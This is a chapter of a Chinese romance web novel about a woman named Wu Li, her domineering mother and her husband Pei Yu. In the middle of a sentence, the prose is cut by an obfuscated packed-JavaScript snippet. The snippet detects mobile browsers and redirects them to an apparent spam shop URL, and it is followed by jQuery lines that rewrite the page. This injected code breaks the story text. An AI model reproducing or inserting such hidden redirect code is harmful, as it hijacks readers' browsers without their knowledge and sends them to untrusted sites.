《乌梨》
文/李阿也
2026.2.14
“你知道尼伯龙根现象吗？”
乌黎在三十岁生日这天清楚地感受到这种现象的恐怖。
她的丈夫裴郁所存在的痕迹都被抹除，唯独她还记得。
可记得他的人也要死了。
——乌黎。
*
十月末，台风过境后的第二个周末。
微风卷起法桐叶在冷了几个度的琴岛飘荡，昏黄的路灯映在老城的墙面，空气中漫过浅淡的菊香，刚从小禾医生那里脱身的乌黎掸了掸身上的碎叶，倚靠在站台边，不自觉看向琴岛的地标建筑。
“姑娘，去哪儿？”的哥眼尖瞧着有客，立刻探出头问。
“京山路。”乌黎神色柔和地回了一句，想起母亲刚才的电话，眉头没由来轻皱。
和进进出出一脸憔悴的人比起来，她全然看不出刚从医院出来的样子。
的哥迅速打量了下面前的女性，不到三十的年纪，生得眉目清浅，眼型是柔和的杏圆，眼底时而溢出清冷的淡意，睫毛细长，眨眼时扫过眼下，留下细碎的阴影。
“得勒。”的哥见她不动，有些出神的样子，招了下手示意，“上来吧，保准赶在饭点前把你拉回去。”
乌黎摇下车窗，海风带着清冽的凉意扑面而来，把倦怠的思绪打落下去。
她十四岁跟着母亲来到琴岛，离开这里用了八年，余下的八年，她拿到京北一家公司的offer，成功离开琴岛。
那个时候的京北人满为患，为了所谓的好生活，全国大部分青年人涌入这座城市。
而她因为亲戚的嫉妒被动更改志愿，以晚了四年为代价，才去到京北。
那时的乌黎是勇敢的，勇敢地逃离母亲，勇敢地奔向新生活。
世事难料，公司因为新开发的项目，她在二十七岁这年暂时回到琴岛。
裴郁提了好多次在琴岛买房，都被她摇头制止。
她并不想惯性地成为家人称赞的孝子，也没想过给母亲买房子，高中后的生活开销都是乌黎靠在网站上写小说和周末兼职挣的，遇到裴郁后，他偶尔会悄悄往她的存钱罐里放钱，只不过多年后，都被乌黎投资他的公司双倍还回去了。
暂留在琴岛时，母亲来过几次，看了她租住的房子，硬生生把她的行李给搬回家。
当然不是看她一个人住身边没人照顾，而是那五千块的租房钱她想要。
即使乌黎婚前每个月三千三千地打回去。
“我的钱都在裴郁那儿，租房的钱也是他定的。”乌黎看着拿不到钱醉酒折腾的母亲，面无表情地说出这句话，说实话她不是第一次拿裴郁当挡箭牌。
没办法对母亲说太多重话的她，只能用裴郁当话柄。
陈池月吐了下口水，嫣红的唇瓣被烈酒抹去，眼影又花又脏，“什么都是裴郁！那裴郁哪儿来的？不还是他爸妈生的？”
“他爸现在都在牢里没出来，他妈死多少年了，他像你这样需要花钱吗？”
“以后你就不赡养我了？真是有了钱就翅膀硬了！”
她就坐在地上，在门口摆了个大字，完全看不出曾经穿梭烟花柳巷的妩媚样，所以啊，不幸的婚姻，病态的原生家庭真的很影响一个人。
这种的情况下，乌黎还有时间分心。
07年，裴郁的母亲在疗养院去世，裴郁因为气流骤降的缘故，没能赶上最后一面。
他父亲先到半天，那个曾贯穿裴郁重要人生节点的女人，最终选择了自杀。
有人说她畏罪自杀，也有人说裴区长并不体面。
二十年的人生，乌黎并没有直观的感受亲情，就连友情都蒙了一层雾霭，她坚定地走了许久，身边的人才被允许站了个裴郁。
**
街景在眼前飞速滑过，乌黎垂眸刚想平复情绪，车子已经停在小区门口，的哥侧过身，语气爽朗地喊了声：“姑娘，到了啊！往前头走就是小区大门，错不了。”
乌黎付了钱，扭头看了眼，“谢谢，好生意啊师傅。”
的哥伸了个腰，接过钱，“嘿嘿，慢走。”
出租车驶离，她站在小区门口看了很久才想起这里是哪处。
这种陌生的感觉促使她走得很慢，往常要五分钟的距离，她走了半小时。
家家户户半掩的门窗缝溢出幸福的味道，楼房顶上站着几个看菊展的年轻人。
小区离中山公园近，吃过饭的青年懒得往外跑，那天的人实在太多，只好凑合在自家楼顶看个大概。
乌黎被叫回家，也是因为房子拆迁了，大家子人不好落了她，陈池月就叫她顺路回去一趟。
其实，一点都不顺路。
她也不想回去。
进了门，两室一厅的布局她看了好几年，之前工作之余的周末，她偶尔会过来。
上次经她一闹后，乌黎直接申请了公司的公寓。以前没申请，是因为裴郁都安排好了，她也不想麻烦，毕竟只是暂时在分公司工作。
房里是渡叔叔家的亲戚，三三两两地聚在一起。陈池月在厨房洗碗，桌上的狼藉表明属于他们家的搬前仪式已经结束。没人注意她回来，乌黎只和从洗手间出来的渡涸打了个照面：“渡叔叔。”
渡涸没料到她这个时候回来，想说什么，看了眼桌上，又道：“你妈在厨房。”
乌黎应了声，脱了大衣，进去帮忙。
到底是有血缘关系，乌黎心软没办法看她一个人在厨房做事。
不管父母如何，最先心软的还是孩子。
陈池月看她回来，没多大反应，袖子没挽，手也没湿，洗碗布自然而然就到了乌黎手中。这天的水还是刺骨，乌黎没吭声，默默放掉冷水，开了热水。
若是搁在往常，陈池月早说她了，如今有事相求，便抄着手站在一旁，把窗外的光景挡了去。
“你弟年后要去京北，我说让他住你那儿。”
陈池月率先出声，她命令惯了也没想着和她商量。
乌黎早在遇见裴郁后就把眼泪流光了。她沉默地洗着碗筷，猪油浮在热水上，把白净的手背弄得油滋滋的。她不想反驳，这世上她就一个亲人，可这个亲人却把和别的男人生的孩子，也算到她头上来了。
“我跟你说话你听到没！”陈池月的声音高了一度。因着人多，她不想闹得太难看，声音自然压不过外边玩闹的声音。
乌黎也没抬眼，平静开口：“房本不是我的名字，我也不可能让他住我那儿。”
冲好碗筷，她放着热水准备冲洗第二遍。这期间，外面的玩闹声渐渐淡了，似乎有什么东西掉在了地上。
陈池月破天荒没和她再争执，觉着她总要妥协，干脆转头出去。
二十年的老小区，老旧的扇窗总往内灌风，莫说她站这一会儿等乌黎来，手脚都冷得很。
只有她这姑娘什么都不吭声，来了就做事，这都多少时间，渡家还有不少人说错她的姓。
闷得很，和家里人也不亲，她对她也算仁至义尽了。
也就洗碗的这点功夫，屋外一道闷雷炸响。
最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242112|197787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后竟悠悠然落了雨，夜晚的蓝调时刻在此刻显露，冷雨连绵刮过山间。
光秃的树干被风吹动，夜风像是要说点什么。
乌黎下楼扔垃圾，默不作声地又在门外站了很久，久到还能接到同事的电话，电话里同事的惋惜将要溢出屏幕，“黎黎姐，你真不想干了，为什么啊，明年不就能回京北了。”
“我爱人希望我强大，所以始终尊重我的选择。来琴岛是我和他争吵的结果，他想让我来，我却只想陪他，最后我们大吵一架。”乌黎低眸，白鞋轻踢路边的石头，清澈的水面映出她无奈的样子，“我原本只想写作，高考被人改了志愿，拼着一口气念完了建筑专业。虽然也拿到了offer，但这不是我想要的，直至今日，我才想明白。”
裴郁尊重她，房写的她名，钱都在她身上，不论她说什么，他都一一应下。
乃至需要他当红脸，他都甘之如饴。
要说今年最后一次吵架，也是她得到诊断结果的第三个月。
***
彼时，裴郁提着给她买的鲜花进门，少年的眉目在日积月累中变得成熟，他身形颀长挺拔，肩线宽而利落，穿了件黑色暗纹衬衫，袖口扣得严丝合缝，只露出腕骨突出的手腕，指节分明且带着薄茧，唇色偏淡，刚进玄关，利落地放置鲜花，洗好手后，又拿出剪刀修枝插花。
做完这一切，他擦干手上的水渍，推门进屋。
乌黎回来赶的早班机，航班不长，就是磨人。
左等右等没等到他，终于是扛不住困意，倒头就睡。
“这么累？”裴郁走到窗边把扣滑开，让微风从缝隙渗进，他回到床头，俯身，双手轻轻覆盖在她的头上，揉了揉，“我焐了鸡汤，喂你喝两碗？”
乌黎被窗外的风雨缠住，她往温热的指骨凑近了些，轻声嘀咕：“我又不是小孩儿，每次都等你喂，我也有自己的事业好吧。”
裴郁垂眸，眼里映出她白净的脸庞，侧脸的红印估摸着是压出来的，像颗饱满的青梨。喉结随着他细小的吞咽滚动了一下，没忍住，薄唇小心翼翼地落在她的嘴角，很轻，若有若无。
“小梨子。”他开口，下颚的软肉冰凉地贴在她的脸上，两人皆是依恋，久久不曾有动作，这样的情况下，裴郁出声：“我们在琴岛买套房子吧，以后你就多一个家。”
他的声音充满留恋，指腹一刻不歇地摩挲乌黎的脸蛋。
窗外的吵闹声在瞬间凝滞，房里的气氛也如这句话变得死寂。
“你总是知道如何让我生气。”乌黎没有睁眼，她什么动作都没有，甚至不拒绝他的抚摸，“我从琴岛回来看你，是想和你过二人世界，我们已经有好久没一起说过话，裴郁，你忙我是知道的，公司出现问题没办法两全，我也知道，但——”她沉默了几秒，“裴郁，你爱我吗？”
裴郁掀了下眼皮，无奈又纵容的笑，嗓音很淡，“我爱你。”
乌黎实话实说，他太忙了，忙到年少时的承诺都变成白纸的错觉，伤人的话脱口而出，“可我感觉不到。”
裴郁靠上前，他无法保证他手里的事情能在最快的时间解决，所以他想她可以先暂居一个地方，等着他来找她，如果他没办法解决，那就先把她的生活解决好。
“小梨子，我仅有的爱都给你了，绝无谎言。”
“你不想买，那就暂时不买，我只是觉得亏欠于你。”
...
那两三滴突然落下的眼泪，也打落乌黎的反驳心。
两人的心在不自觉地靠近，怕对方受了委屈，也怜对方受过的苦。